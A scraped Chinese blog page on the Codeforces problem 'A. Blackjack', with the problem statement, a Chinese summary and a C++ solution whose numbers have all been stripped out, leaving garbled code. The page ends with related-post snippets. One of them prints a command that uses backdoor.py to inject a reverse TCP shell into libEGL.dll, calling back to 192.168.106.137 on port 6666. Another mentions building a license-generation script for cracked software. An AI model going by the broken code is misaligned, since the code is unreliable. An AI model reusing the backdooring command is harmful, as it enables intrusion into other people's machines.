A. Blackjack

time limit per test

 2 seconds

memory limit per test

256 megabytes

input

standard input

output

standard output

One rainy gloomy evening when all modules hid in the nearby cafes to drink hot energetic cocktails, the Hexadecimal virus decided to fly over the Mainframe to look for a Great Idea. And she has found one!

Why not make her own Codeforces, with blackjack and other really cool stuff? Many people will surely be willing to visit this splendid shrine of high culture.

In Mainframe a standard pack of 52 cards is used to play blackjack. The pack contains cards of 13 values: 2, 3, 4, 5, 6, 7, 8, 9, 10, jacks, queens, kings and aces. Each value also exists in one of four suits: hearts, diamonds, clubs and spades. Also, each card earns some value in points assigned to it: cards with value from two to ten earn from 2 to 10 points, correspondingly. An ace can either earn 1 or 11, whatever the player wishes. The picture cards (king, queen and jack) earn 10 points. The number of points a card earns does not depend on the suit. The rules of the game are very simple. The player gets two cards, if the sum of points of those cards equals n, then the player wins, otherwise the player loses.

The player has already got the first card, it's the queen of spades. To evaluate chances for victory, you should determine how many ways there are to get the second card so that the sum of points exactly equals n.

Input

The only line contains n (1 ≤ n ≤ 25) — the required sum of points.

Output

Print the numbers of ways to get the second card in the required way if the first card is the queen of spades.

Examples

input

12

output

4

input

20

output

15

input

10

output

0

Note

In the first sample only four two's of different suits can earn the required sum of points.

In the second sample we can use all tens, jacks, queens and kings; overall it's 15 cards, as the queen of spades (as any other card) is only present once in the pack of cards and it's already in use.

In the third sample there is no card, that would add a zero to the current ten points.

题意:一副扑克牌,一共52张,其中有2,3,4,5,6,7,8,9,10,J,Q,K,A。其中2~9的分值是相对应的数,A的分值可以是1或者11,然后10,J,Q,K的分值都是10.题目现在输入一个数,现在给你一张已经选好的牌Q,然后你从其中再选出一张其他的牌,使这两张牌的分值等于这个数。然后求出有几种不同的选取方式(注:每个数都是4中花色,分别是黑桃,梅花,红桃,方块)。题目意思很简单,就是分几种情况输出就行,不过要切记,判断大于21分的数值,他们都为0,我就是因为这个没判断,足足WA了8次(我真的是个大人才...)。

#include<iostream>
#include<cstdio>
#include<cstring>
#include<algorithm> using namespace std; int main()
{
int n;
while(~scanf("%d",&n)&&n)
{
n-=; //减10的原因是方便后面的计算
if(n<=||n>)
cout<<<<endl;
else if(n==)
cout<<<<endl;
else
cout<<<<endl;
}
return ;
}

A. Blackjack的更多相关文章

  1. Mini projects #6 ---- Blackjack

    课程全名:An Introduction to Interactive Programming in Python,来自 Rice University 授课教授:Joe Warren, Scott ...

  2. BlackJack Strategy

    GAME SPEC: 2-deck, 104 cards total. Bellagio has 2-deck and 6-deck games. based on hard 17, dealer h ...

  3. [CareerCup] 8.1 Implement Blackjack 实现21点纸牌

    8.1 Design the data structures for a generic deck of cards. Explain how you would subclass the data ...

  4. python面对对象编程----1:BlackJack(21点)

    昨天读完了<Mastering Object-oriented Python>的第一部分,做一些总结. 首先,第一部分总过八章,名字叫Pythonic Classes via Specia ...

  5. 逆向分析一款国外Blackjack Card Counter软件并附上License生成脚本

    没有学过逆向,一时兴起,搞了一下这个小软件,名为“逆向分析”,其实过程非常简单,难登大雅之堂,就当段子看吧.首先介绍一下背景吧.这是一款国外的Blackjack也就是21点算牌软件,我从来不玩牌的,机 ...

  6. 2017第十三届湖南省省赛B - Simplified Blackjack CSU - 1998

    在一次聚会上,Bob打算和Alice一起玩Blackjack游戏,但Alice平时很少玩扑克类游戏,Bob觉得跟Alice解释清楚Blackjack的规则有点困难,于是Bob决定和Alice玩一次简化 ...

  7. [360前端星计划]BlackJack(21点)(纯JS,附总部学习笔记)

    [360前端星计划]总部学习笔记(6/6) [360前端星计划]详情跳转 游戏界面预览 目录 一.游戏介绍 1.起源 2.规则 3.技巧 二.游戏设计 1.整体UI构思 2.素材采集 3.游戏总规划 ...

  8. 【pwnable.kr】blackjack

    又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-bl ...

  9. [MIT6.006] 20. Daynamic Programming II: Text Justification, Blackjack 动态规划II:文本对齐,黑杰克

    这节课通过讲解动态规划在文本对齐(Text Justification)和黑杰克(Blackjack)上的求解过程,来帮助我们理解动态规划的通用求解的五个步骤: 动态规划求解的五个"简单&q ...

随机推荐

  1. C++学习 之 控制程序流程 (笔记)

    1.使用if...else有条件的执行 在一些时候语句需要进行有条件的执行.比如如果输入"Y"就执行赋值语句N=1:否则N=0: #include<iostream> ...

  2. %300为0的个数(牛客第四场)-- number

    题意: 给你一串数,问你如题. 思路: 我不是这样的作法,从后往前,先取00,再算%3==0的个数,往前推的时候有递推关系: #define IOS ios_base::sync_with_stdio ...

  3. Fiddler--手机端抓包

    1.打开fiddler,点击Tools--options 2.勾选 3.确保手机与电脑连接同一个WIFI 4.打开手机无线网络,选择连接的WiFi,然后在代理选择手动,输入ip和端口号,查看本机ip

  4. 从入门到自闭之Python时间模块

    time模块:import time time.time():时间戳,是一个浮点数,按秒来计算 time.sleep():睡眠,程序暂停多少秒执行 python中时间日期格式化符号: 必背 %y 两位 ...

  5. MySQL中的SQL的常见优化策略

    MySQL中的SQL的常见优化策略 MySQL中的索引优化 MySQL中的索引简介 1 避免全表扫描对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索 ...

  6. (转)MQTT 入门介绍

    原文链接:https://blog.csdn.net/qq_2887... MQTT 入门介绍 一.简述 MQTT(Message Queuing Telemetry Transport,消息队列遥测 ...

  7. java中代码块和构造方法以及普通方法的代码执行顺序总结

    说实话,这块真的不好理解啊~都怪jvm  执行顺序搞这么复杂,哼╭(╯^╰)╮ 但是  我们能怎么办,只能研究呗!!! !:首先,毫无置疑的,静态代码块在加载时就执行了,所以肯定是最先执行的.... ...

  8. 多线程编程-- part5.1 互斥锁ReentrantLock

    ReentrantLock简介 Reentrantlock是一个可重入的互斥锁,又被称为独占锁. Reentrantlock:分为公平锁和非公平锁,它们的区别体现在获取锁的机制上是否公平.“锁”是为了 ...

  9. 免费数学神器Mathpix发布移动版了,一起来写更快的公式

    目录 1. 按 2. 下载地址 3. 介绍和使用 3.1. 介绍 3.2. 实际使用体验 1. 按 本文介绍的Mathpix可用于将手写的公式通过拍照或截图转成LaTeX 表达式. 写博客.记笔记最麻 ...

  10. 2019.10.9wechat反弹shell复现

    ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...